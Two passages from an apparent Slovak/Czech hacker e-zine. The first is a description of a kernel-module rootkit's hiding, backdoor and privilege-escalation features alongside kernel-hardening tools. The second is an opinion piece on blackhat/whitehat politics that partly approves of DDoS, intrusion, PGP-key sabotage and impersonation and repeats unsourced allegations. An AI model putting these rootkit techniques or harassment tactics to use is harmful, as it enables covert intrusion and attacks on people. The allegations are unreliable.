    Je teda jasne, ze takymto zasahom do jadra systemu je velmi obtiazne najst utocnika a dostat ho zo servra von. Preto je dobre sa branit uz prevenciou a zabezpecenim samotneho jadra. Prevencia moze byt napriklad aj vypnutie pouzivania modulov pri kompilacii jadra. Zial nasli sa uz aj taky ludia, ktory prisli na to, ako modifikovat systemove volania v jadre, ktore nepouziva LKM. To je uz ale mimo ramec tohto dokumentu (vid. prielom, resp. phrack).

    Samotny modul sa moze maskovat tak, ze pri vypise /proc/modules sa vynecha. Da sa to ale jednoducho obist napriklad pouzitim prikazu dd - dd if=/proc/modules bs=1. Samozrejme existuje mnoho dalsich sposobov, ktore su sice zlozitejsie, ale poskytuju sluzbu dokonalejsieho maskovania.

    Prikladny modul mozete najst v prilohe. Pochadza z Phrack52. Jeho hlavne crty:

    • maskovacie funkcie: po zavedeni do jadra zmodifikuje struct module *mp a get_kernel_symbols(2), takze sa nezobrazi v /proc/modules alebo vystume ksyms. Neda sa unloadnut z jadra.
    • utajenie sniffra: zmeni ioctl(2), takze PROMISC priznak bude schovany. Sniffer musi byt spusteny pred zavedenim tohoto modulu.
    • zmiznutie suborov: systemove volanie getdents(2) budu tiez zmenene, takze subory obsahujuce dane slovo budu neviditelne.
    • maskovanie procesov: podobne ako maskovanie suborov - procesy obsahujuce dane argv polozky sa nebudu zobrazovat a nenajdeme ich ani v /proc/ filesysteme
    • presmerovanie execve: ked sa ma spustit definovany program, tento modul spusti miesto neho iny program. Pouziva volanie brk(2) specialnym sposobom, na zvacsenie datoveho segmentu programu este pokial je v kernel rezime. To je 'vymozenost' linuxu.
    • socket recvfrom() backdoor: po prichode packetu, ktory ma danu velkost a obsahuje dany retazec, spusti sa program. Vacsniou ide o shellovsky skript, ktory spusti bindshell.
    • setuid() trojan: po spusteni suid programu s konkretnym uid, volajuci proces dostane uid = euid = gid = 0

    Moduly, resp upravy jadra sa daju vyuzit aj ako velmi silna ochrana systemu. Takyto modul moze strazit pristupy k jednotlivym suborom a zariadeniam, moze sledovat zmenu privilegii jednotlivych uzivatelov a procesov.
    Existuju rozne balicky, ktore sa staraju o zabezpecenie (zatesnenie) linuxoveho jadra. Ako priklad mozme uviest napriklad Medusa (SK), LIDS (FR) a RSBAC (DE).
    Ich pristup k problemu je rozny, ale vysledkom je hlavne detailne rozdelenie pristupovych prav k chulostivym castiam systemu a notifikacia vo vlastnej rezii, alebo cez unixovy klog/syslog.

    Pouzita literatura:

    Historia Unixu
    http://cm.bell-labs.com/cm/cs/who/dmr/hist.html
    http://www.english.uga.edu/hc/unixhistory.html

    Popis programatorskych chyb
    http://www.tuxedo.org

    Popis stack smashingu
    Natan P. Smith - Stack Smashing Vulnerabilities in the UNIX Operating System [1997] .ps

    Pisanie stack overflow exploitov
    PALSMOID/THC iN 1996 - STACK OVERFLOW EXPLOiTS ON LiNUX/BSDOS/FREEBSD/SUNOS/SOLARiS/HP-UX

    Ing. Zdenek Vratil - Architektura PC na bazi Pentia [1994]
    Hatch, Lee Kurtz - Linux, Hackerske Utoky [2002]
    O'Reilly - Bezpecnost v UNIXu a Internetu v praxi [1998]

    maniac, maniac(at)localhost.sk, odborna korektura by sd(at)hysteria.sk a wilder wilder(at)hq.alert.sk

    navrat na obsah
    co ty na to ? board




    cerne a bile klobouky

    ackoli to tak muze vypadat, kdepak, toto nema nic spolecneho s modou, i kdyz pojem "blackhat" a "whitehat" se dnes stavaji modernimi a dostavaji se do podvedomi verejnosti. ja se tady jenom pokusim ujasnit co presne to znamena a vubec provest ctenare "politickou slozkou" security sceny, vezmeme si tady na paskal nejznamejsi jmena a sjedem je jako politiky v nejakem bulvarnim platku, ostatne proc taky ne, zaslouzi si to. (tak me napada muze byt prielom bulvarni platek ?)

    na uvod co to tedy znamena, nalepkou "whitehat" se povetsinou oznacuji lidi co security rozumi a nebo alespon delaji ze security rozumi (theo de raadt, ron dufresne ... ;-), pisou security software, pripadne nalezene bugy v jinem softwaru okamzite zverejnuji k velke a vseobecne radosti verejnosti. na druhe strane, blackhat je nekdo kdo najde bug v nejakem softwaru, napise si na nej exploit a pouziva ho ke vseobecne radosti sve. potud vsetko v poradku dokavad se nezacali dit _fakt_ spatne veci se securityfocus, nasli se "security experti" jako iss (www.iss.net), o tom dale ;-) nuze ...

    security firmy
    vypada to ze zacina realna kyberneticka valka mezi hackery, jak o ni mnozi cyberpunkovy spisovatele snili. v poslednich dvou letech se security scena stala natolik byznysem ze se do ni zacali cpat lide co jsou spise ekonomove nez programatori. vzniklo spousty "security labu", jako hub po desti viz treba iss. u iss je treba se na chvili zastavit - je to velice zajimava corporation jakozto nedisponujici zadnymi schopnymi lidmy stale publikuje nove a nove bugy v masivne pouzivanem softwaru, coz je nanejvis podezrele. nuze jak to je doopravdy:

    remote shell bug v php (www.cert.org/advisories/CA-2002-21.html) - nalezen a uspesne exploitovan blackhat slozkou skupiny teso, nanestesti exploit byl leaknut script kiddo komunite, takze netrvalo dlouho a spousta lidi "nasla" bug v php.
    apache chunking vulnerability (www.cert.org/advisories/CA-2002-17.html), (opet teso - existuje funkcni exploit na solaris, linux a *bsd, pro ty co nemohou spat - pouziva se hezka kombinace signalu a scoreboard, gobbles napsal rychlejsi exploit vyuzivajici faktu ze memcpy() je ekvivalent memmove() na *lsd) - tento bug byl po dobu asi pul roku privatni zalezitost, ale pak o nem jeden z clenu skupiny teso (byl to zip, kompletne se zdiskreditoval a kdokoli se snim odmita bavit, btw) rekl iss (zda-li za uplatu ci ne nikdo netusi) a dalsi "profesionalni" security advisory od iss je na svete. v tuto chvili iss inkasuje obrovske sumy za sve "enterprise security solutions" a v pojmu "ty odbornici na sekjurity" jsou takrka fenomemem.
    openssh 2.9-3.3 remote challenge remote root bug (www.cert.org/advisories/CA-2002-18.html) - nalezeno nekolika blackhat skupinami nezavisle na sobe, po dlouhou dobu privatni zalezitost, bug je vicemene nezajimavy ponevadz z hlediska defaultnich instalaci je napadnutelne opravdu jen openbsd.
    bind8 recursive query response bug (www.cert.org/advisories/CA-2002-31.htm) - asi rok stara zalezitost jednoho _velice_ schopneho clovicka z adm. tento bug a jeste nektere jine o kterych nechci a ani nemuzu psat byli a jsou mimojine zneuzivany k infiltraci source ftp a cvs velice zajimaveho softu ;-) btw, apache.org _melo_ backdoornute zdrojove .tar, ale jen na dobu nekolika minut a do dneska to odmitaji priznat ;p), jak se dostal do paratu iss je velice zajimava historie, ale zhruba to je tak ze adm ownulo pomoci tohoto bugu jednomu "security expertovi" masinu, ktery si toho po nekolika dnech vsimnul (sakra, to je nahoda) a nanestesti na teto siti bezel packet logger. a ponevadz na dane masine krome dns nic jineho nebezelo, dali si 1+1 dohromady, udelala se analyza paketu a z toho uz se dalo relativne usoudit kolik uhodilo.

    neni proto divu ze blackhat komunita (drtiva vetsina techto bugu pochazi prave odsud) je na iss a jim podobne patricne nasrana, kdo by taky nebyl. iss si buduje jmeno, postaveni a dokonce vydelava zavratne sumy na mnohdy mnohamesicni praci nekoho jineho.

    pr0j3kt m4yh3m
    je "odboj" proti tzv. "security expertum", ackoli nekteri lide to berou az moc na smrt vazne a fanaticky (www.phrack.ru), s cim zase nesouhlasim, urcite existuji i korektnejsi cesty, ale generalne je tato myslenka spravna. z predchoziho textu si asi kdekdo muze myslet ze blackhat vs. whitehat je boj na zivot a na smrt, neni to zase tak drsny: pr0j3kt m4yh3m se snazi zasahovat proti iss a jim podobnym, vzhledem k tomu kolik lidi se toho ucastni, castecne se to i dari. poradaji se ddos utoky na scriptkiddie a whitehat sajty (to delaji ti mene sikovni), ti vice sikovni primo ownujou stroje interesantnich lidi. dela se psychologicky natlak (distribuovani fake pgp klicu do velkych pgp klicenek, takze cilene osoby nemohou prilis dobre vyuzivat pgp), dela se masova inpersonace aby se dane osoby zdiskreditovaly. delaji se masove dezinformace, coz nekdy muze zpusobit komicke situace jako treba kdyz phc stvorilo ac1db1tch3z rumour (a to velice jednoduchym spusobem - stacilo pastnout na #darknet@efnet fake banner a domluvit se ostatnima lidma aby na /msg skriptkidacku odpovidali ze neco takoveho existuje ;-) doslo to tak daleko ze se toho chopilo nekolik chytraku a na mnoha prestiznich konferencich, vcetne bugtraqu, tam o tom byl rozsahly thread kde vsichni ze vsech stran rozebiraji zda-li opravdu existuje remote root linux kernel exploit ;p
    ze je to spatne ? drogy jsou treba taky spatne - ale druha strana fronty to dela taky viz. treba securityfocus kdyz posilali vlastni fake posty na bugtraq od stealtha (teso), vrchol vseho byl kdyz jeden clovek poslal popis bugu na bugtraq a post byl bloknut. dva dny na to se popis objevil na bugtraqu s hlavickou securityfocus! (pozdeji sem zjistil ze pozmeneny email prisel platicim sf klientum jeste ten den). protesty puvodniho autora jsou samozrejme vesele ignorovany a filtrovany ze vsech sf konferenci.
    v soucasne dobe se pr0j3ktu m4yh3m vice ci mene ucastni mnoho lidi, nekteri jsou velice dobrymi odborniky ve svem oboru a kteri uz maji leccos za sebou.

    full disclosure
    neni zase tak idealni jak se vsude hlasa. zastavam nazor ze pokud je nekdo schopen najit bug a exploitovat ho, bude zrejme natolik inteligentni ze tim nebude pusobit mnoho skod. naproti tomu kdyz nekdo najde bug a okamzite ho zverejni (nejlepe jeste s exploitem, a kdyz ne tak ho nekdo napise), script kiddies se pomejou a zacne masove rootovani a defacovani, coz je spise kontraproduktivni. nevim proc se opustilo od stareho postupu jez fungoval ve "starych dobrych casech", tj jeste pred nekolika lety - kdyz nekdo nasel bug, nechal si to pro sebe, maximalne informoval vendora. a az kdyz se dotycnej dostatecne vyradil a vendor vydal fixnutou verzi, pockalo se nekolik mesicu az fixnutej release bude dostatecne roztrousen po svete a pak se advisory teprve uverejnilo. dnes se to dela naopak, pravdepodobne aby bylo co nejvice incidentu a iss melo vysokou klientelu, ale kdovi.

    touto metodou se da naprosto zamezit dnesnimu script-kiddo ./hack-ovani. take by se zlepsila dnesni situace na trhu it prace. muj jeden velmi dobry kamarad to skvele definoval "kazda lopata dneska umi adminovat, tak to kde kdo rootne. no a pak si k tomu sedne ta lopata ktera to rootla a jsme tam kde jsme byli". je to tak, hackovani je dneska hrozne yzy, pro kohokoli, staci si natukat packetstormsecurity.org, stahnout par latest exploitiku a hura. drive si to kazdej musel nakodit sam - a rozhodne to bylo lepsi.

    konec
    tomuhle konec jentak nejspis nebude, prognozy jsou ze se situace ma dale zhorsovat. nastesti osveta je relativne rychla a lide v pozadi (tj. ty co nakonec ty bugy najdou) co zivi cele to monstrum zvane "security industry" si zacinaji uvedomovat ze jsou v podstate manipulovani a ze pachaji vice zla nez dobra.

    ja sem si tento fakt uvedomil asi pred rokem, od te doby jakoukoliv svoji tvorbu (krome trivialnich veci jako treba wuimapd) nepublikuju (krome pratel kterym opravdu verim), at uz jde o exploity, nebo nove verze jednoho dnes velice rozsireneho linux kernel rootkitu, tot me oficialni tiskove prohlaseni ;-p

    mnozi si asi ted mysli ze whitehats & blackhats jsou uhlavni nepratele, no, neni to tak vzdycky. whitehats ktery sem v predchozim textu oznacoval jako "security experty" jsou mineni spise jako iss a jim podobni, kdezto realni whitehats jsou autori vecinou kvalitniho softwaru jako treba openwall, ids, lids, medusa, grsecurity, napriklad ja jakozto autor nekolika rootkitu a spender, jeden z autoru grsecurity se normalne bavime o security zalezitostech ktere nas zajimaji, tj. security na kernelove urovni vymenujeme si tipy a nebo si delame naschvaly, von treba vymysli nejakou techniku ochrany a ja mu ji do druhyho dne obejdu a tak. to je imho krasna ukazka jak spoluprace mezi obema stranama muze bejt produktivni.

    reference sem davat nebudu, kdo bude chtit at si je najde sam nebo at se me primo zepta.

    poznamka:
    informace v tomto textu jsou vicemene neuplne a dali by se spise oznacit jako spicka ledovce. vychazeji z mnohaletych konverzaci na irc s nekolika stovkami lidi. uvedena fakta a nazory, ackoli by mohla byt spravna, by nemela byt brana seriozne - jedna se jednoduse o ciste osobni nazor autora. ucelem clanku neni nekoho varovat ci zastrasovat aby nepodcenoval hackery (to by nemel delat tak ci onak, btw), ale spis vysvetlit nektere nepochopitelne veci co se dnes deji. kazdopadne kdo se spoleha na komercni security (nejsi nahodou klient securityfocus ? ;-) je zhruba tak o mesic az pul roku pozadu. pozor na to. mozna vam prave ted nekdo ownuje masinu ;p

    sd, sd(at)hysteria.sk

    navrat na obsah
    co ty na to ? board